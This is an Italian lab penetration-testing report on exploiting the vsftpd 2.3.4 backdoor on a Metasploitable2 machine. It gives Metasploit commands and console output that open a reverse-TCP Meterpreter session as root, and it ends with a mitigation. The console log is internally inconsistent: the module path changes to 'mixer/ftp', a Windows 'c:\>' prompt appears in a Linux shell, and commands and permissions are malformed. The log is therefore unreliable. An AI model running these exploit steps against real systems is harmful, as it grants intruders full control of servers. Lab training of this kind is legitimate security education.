

Relazione Tecnica d'Attacco: Vulnerabilità vsftpd 2.3.4

1. Obiettivo dell'Attività

L'attività ha lo scopo di verificare la sicurezza della macchina target **Metasploitable2** all'interno dell'ambiente di laboratorio, identificando e sfruttando una vulnerabilità nota nel servizio FTP per ottenere l'accesso remoto con privilegi elevati (root) e dimostrare l'efficacia del penetration testing.

2. Informazioni Target e Attaccante

- **Macchina Attaccante (Kali Linux):** IP dinamico configurato sulla rete del laboratorio.
- **Macchina Target (Metasploitable2):** IP **192.168.50.101** (instradato e gestito tramite il firewall pfSense).
- **Servizio Target:** vsftpd versione 2.3.4 (porta 21/TCP).

3. Fasi dell'Attacco

Fase 1: Identificazione della Vulnerabilità

Durante la fase di *Footprinting & Scanning*, è stata rilevata la presenza del demone FTP **vsftpd 2.3.4**. Questa specifica versione è notoriamente vulnerabile a un attacco di tipo *Backdoor*, introdotto storicamente nel codice sorgente da attori maliziosi. La backdoor si attiva inviando un nome utente che termina con la sequenza di caratteri `;)` .

Fase 2: Configurazione e Sfruttamento (Metasploit)

Per l'esecuzione dell'exploit è stato utilizzato il framework **Metasploit** su Kali Linux, configurando i parametri di rete necessari per il corretto funzionamento del payload:

```
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.50.101
set LHOST 192.168.10.11
exploit
```

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[-] 192.168.50.101:21 - Msf::OptionValidateError One or more options failed to validate: LHOST.
msf exploit(unix/ftp/vsftpd_234_backdoor) > █
```

Il framework ha inviato i pacchetti di trigger sulla porta 21, forzando l'apertura della backdoor sulla porta **6200/TCP** del target ed elevando la sessione a privilegi di **root**. Il payload ha risposto configurando con successo una sessione **Meterpreter**.

Fase 3: Post-Sfruttamento e Proof of Concept (PoC)

Una volta ottenuta la shell di comando interattiva con massimi privilegi, è stata eseguita l'azione richiesta sulla root del file system per dimostrare il pieno controllo del sistema

```
cd / mkdir test_metasploit
```

```

Interact with a module by name or index. For example info 6824, use 6824 or use exploit/linux/local/cve_2026_43284_dirty_frag

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(mixer/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf exploit(mixer/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.50.101:21 - Msf::OptionValidationError One or more options failed to validate: LHOST.
msf exploit(mixer/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf exploit(mixer/ftp/vsftpd_234_backdoor) > set LHOST 192.168.10.11
LHOST => 192.168.10.11
msf exploit(mixer/ftp/vsftpd_234_backdoor) > no
Unknown command: no. Run the help command for more details.
msf exploit(mixer/ftp/vsftpd_234_backdoor) > n
Unknown command: n. Run the help command for more details.
msf exploit(mixer/ftp/vsftpd_234_backdoor) > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(mixer/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf exploit(mixer/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.50.101:21 - Msf::OptionValidationError One or more options failed to validate: LHOST.
msf exploit(mixer/ftp/vsftpd_234_backdoor) > set LHOST 192.168.10.11
LHOST => 192.168.10.11
msf exploit(mixer/ftp/vsftpd_234_backdoor) > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(mixer/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf exploit(mixer/ftp/vsftpd_234_backdoor) > set LHOST 192.168.10.11
LHOST => 192.168.10.11
msf exploit(mixer/ftp/vsftpd_234_backdoor) > exploit
[*] Started reverse TCP handler on 192.168.10.11:4444
[*] 192.168.50.101:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.50.101:21 - FTP banner hints its vulnerable: 220 (vsftpd 2.3.4)
[*] 192.168.50.101:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[*] 192.168.50.101:21 - Backdoor has been spawned
[*] Meterpreter session 1 opened (192.168.10.11:4444 -> 192.168.50.101:43821) at 2026-07-20 12:07:48 -0400

meterpreter > shell
Process 4813 created.
Channel 1 created.
c:\>
cd
cd/
/bin/sh: line 3: cd/: No such file or directory
mkdir test_meterpreter
whoami 66 ls -la | grep test_meterpreter
root
grwx----- 2 root root 4096 Jul 20 12:09 test_meterpreter

```

4. Conclusioni e Mitigazione

L'attacco ha avuto successo al 100%, dimostrando che la presenza di software non aggiornato o compromesso all'interno della rete permette a un attaccante di bypassare completamente i controlli di sicurezza perimetrali e ottenere il controllo totale del server.

- **Mitigazione:** Aggiornare immediatamente il pacchetto **vsftpd** a una versione successiva non vulnerabile o sostituire il demone FTP con alternative sicure (es. SFTP/SSH).